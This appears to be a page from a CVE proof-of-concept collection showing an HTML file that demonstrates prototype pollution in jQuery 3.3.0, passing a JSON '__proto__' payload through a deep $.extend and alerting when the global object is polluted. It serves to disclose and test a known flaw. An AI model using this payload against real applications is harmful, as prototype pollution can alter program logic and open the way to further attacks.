5585 Total CVEs
26 Years
GitHub
README.md
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POC / PoC.html HTML
<!DOCTYPE html>
<html>
<head>
  <!-- vulnerable version -->
  <script src="https://code.jquery.com/jquery-3.3.0.js"></script>
</head>
<body>

<script>
  $(document).ready(function() {
    var obj1 = {
      Name: "isac"
    };

    var obj2 = JSON.parse('{"__proto__": {"is_polluted":true}}');

    var extended_obj1 = $.extend(true,{}, obj1, obj2);

    var obj = {}
    console.log(obj);

    if(is_polluted == true)
    {
        alert("polluted");
    }
  });

</script>
</body>
</html>